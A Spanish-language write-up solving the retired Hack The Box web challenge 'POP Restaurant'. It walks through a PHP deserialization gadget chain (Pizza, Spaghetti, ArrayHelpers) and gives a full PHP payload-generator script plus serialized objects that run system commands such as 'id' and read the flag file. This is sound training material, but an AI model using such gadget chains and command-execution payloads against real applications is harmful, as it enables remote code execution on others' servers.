HackTheBox – POP Restaurant (Challenge Web/Easy)

En este post estaremos resolviendo el challenge web llamado «POP Restaurant» de Hack The Box, calificado como Easy. Se trata de un challenge ya retirado. No obstante, es muy interesante puesto que nos permite construir un gadget chain en PHP para explotar deserialización.

Antes que nada, observamos el código fuente y vemos que en el archivo «order.php» se produce una deserialización de datos:

<?php
error_reporting(0);
require_once 'Helpers/ArrayHelpers.php';
require_once 'Helpers/CheckAuthentication.php';
require_once 'Models/PizzaModel.php';
require_once 'Models/IceCreamModel.php';
require_once 'Models/SpaghettiModel.php';
require_once 'Models/DatabaseModel.php';

isAuthenticated();
$username = $_SESSION['username'];
$id = $_SESSION['id'];

$db = new Database();

$order = unserialize(base64_decode($_POST['data']));

$foodName = get_class($order);

$result = $db->Order($id,$foodName);
if ($result) {
    header("Location: index.php");
    die();
} else {
    $errorInfo = $stmt->errorInfo();
    die("Error executing query: " . $errorInfo[2]);
}

Vamos a la web, nos registramos y lanzamos un «order» de cualquier producto. Capturamos la petición con Burp Suite y comprobamos que, efectivamente, las «orders» se pasan como objetos serializados a la aplicación:

Bien, sabemos que podemos enviar datos serializados. Esto siempre suele ser sinónimo de vulnerabilidades, ya que si encontramos un «gadget» o cadena de deserialización insegura, podemos obtener ejecución remota de código. Observamos todos los objetos que tenemos disponibles y definidos en la aplicación dado que no utiliza ningún framework y, por tanto, es la superficie de exposición que tiene. Se tienen los siguientes interesantes:

  • Clase IceCream
  • Clase Pizza
  • Clase Spaghetti
  • Clase ArrayHelpers

Cuando queremos construir un «gadget» en PHP, normalmente se suelen buscar en los objetos disponibles los métodos mágicos «__wakeup()» o «__destruct()», ya que estos se ejecutan automáticamente al reconstruir el objeto o destruirlo respectivamente. Hay otros métodos mágicos interesantes, pero estos dos son muy relevantes, por lo que intentamos buscarlos en nuestros objetos disponibles.

La clase «Pizza» justamente define el método «__destruct()», tal como se puede ver en el código:

class Pizza
{
	public $price;
	public $cheese;
	public $size;

	public function __destruct()
	{
		echo $this->size->what;
	}
}

Asimismo dicho método hace un «echo $this->size->what». Esto implica que intentará acceder a la propiedad «size» definida para el objeto y, a su vez, a la propiedad «what» dentro de «size». Hilando un poco, si definimos «size» como otro objeto, intentaremos hacer un «echo» de la propiedad «what» de dicho objeto. Esto resulta muy interesante ya que el método mágico «__get()» se dispara siempre que se intenta acceder a una propiedad de un objeto no existente.

Fijémonos ahora en la clase «Spaghetti», dado que define el método «__get()» que comentábamos anteriormente.

class Spaghetti
{
    public $sauce;
    public $noodles;
    public $portion;

    public function __get($tomato)
    {
        ($this->sauce)();
    }
}

Esto quiere decir que, de momento, tenemos esta cadena de ejecución:

  • Pizza(size=Spaghetti)
    • Llama a Pizza::__destruct()
      • Llama a Spaghetti::__get(what)

Centrémonos ahora en la línea siguiente:

($this->sauce)();

Esta línea accede a la propiedad «sauce» del objeto Spaghetti pero, para funcionar, esta debe de ser llamable (callable) debido a los paréntesis finales. Un «callable» pueden ser muchas cosas, pero normalmente es una función como string («system», «shell_exec»…), un array («[objeto,’método’]»), un closure o función anónima u otro objeto con método «__invoke()» definido.

Bien, ahora sabemos que podemos llamar a cualquier método dentro de otros objetos. No obstante, sigue siendo fundamental ejecutar código a nivel de sistema. Esto nos lo dará la clase «ArrayHelpers», cuyo código adjuntamos:

namespace Helpers{
    use \ArrayIterator;
	class ArrayHelpers extends ArrayIterator
	{
		public $callback;

		public function current()
		{
			$value = parent::current();
			$debug = call_user_func($this->callback, $value);
			return $value;
		}
	}
}

La función «call_user_func» nos sirve para ejecutar código a nivel de sistema. El objetivo aquí es obtener una llamada como la siguiente:

call_user_func("system", "id");

Con todo lo anterior en mente, tenemos la cadena bien definida:

  • Pizza(size=Spaghetti(sauce=[ArrayHelpers(callback=system,value=id),’current’])
    • Llama a Pizza::__destruct()
      • Llama a Spaghetti::__get(what)
        • Llama a ArrayHelpers::current() con parámetros callback=system y value=id
          • Se ejecuta ArrayHelpers::current() con parámetros callback=system y value=id

Para resolver el reto, por tanto, nos queda solamente construir esta maraña de objetos. El siguiente script en PHP nos hace justo eso, creando los objetos de fin a inicio (es decir, al revés de cómo tenemos la cadena).

<?php

namespace Helpers{
    use \ArrayIterator;
        class ArrayHelpers extends ArrayIterator
        {
                public $callback;

                public function current()
                {
                        $value = parent::current();
                        $debug = call_user_func($this->callback, $value);
                        return $value;
                }
        }
}

namespace {
        class Pizza
        {
                public $price;
                public $cheese;
                public $size;

                public function __destruct()
                {
                        echo $this->size->what;
                }
        }

        class IceCream
        {
                public $flavors;
                public $topping;

                public function __invoke()
                {
                        foreach ($this->flavors as $flavor) {
                                echo $flavor;
                        }
                }
        }

        class Spaghetti
        {
            public $sauce;
            public $noodles;
            public $portion;

            public function __get($tomato)
            {
                ($this->sauce)();
            }
        }

//Creamos objeto ArrayHelpers
$ArrayHelpers = new \Helpers\ArrayHelpers(["id"]); //Usamos un array como parametro porque ArrayIterator es lo que espera ($value="id")
$ArrayHelpers->callback = "system"; //Usamos "system" como callback

//Creamos objeto Spaghetti
$Spaghetti = new Spaghetti();
$Spaghetti->sauce = [$ArrayHelpers,'current']; //Usamos un array callable con el nombre del objeto y la funcion a ejecutar

//Creamos objeto Pizza
$Pizza = new Pizza();
$Pizza->size = $Spaghetti; //Usamos como valor de la propiedad size el objeto Spaghetti

//Imprimimos valor serializado para usar en Burp Suite
echo(serialize($Pizza));

}

?>

Ejecutamos el script y (además de la ejecución de código por la propia serialización del objeto en nuestro Kali) obtenemos el objeto serializado a enviar en Burp Suite:

O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";a:2:{i:0;O:20:"Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:2:"id";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}i:1;s:7:"current";}s:7:"noodles";N;s:7:"portion";N;}}

Finalmente, podemos adaptar el script para ejecutar «ls${IFS}/» y «cat${IFS}/pBhfMBQlu9uT_flag.txt» y obtener la resolución al reto con los siguientes objetos serializados (usamos IFS para evitar espacios en blanco):

O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";a:2:{i:0;O:20:"Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:9:"ls${IFS}/";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}i:1;s:7:"current";}s:7:"noodles";N;s:7:"portion";N;}}
O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";a:2:{i:0;O:20:"Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:31:"cat${IFS}/pBhfMBQlu9uT_flag.txt";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}i:1;s:7:"current";}s:7:"noodles";N;s:7:"portion";N;}}

~km0xu95

Comments are closed.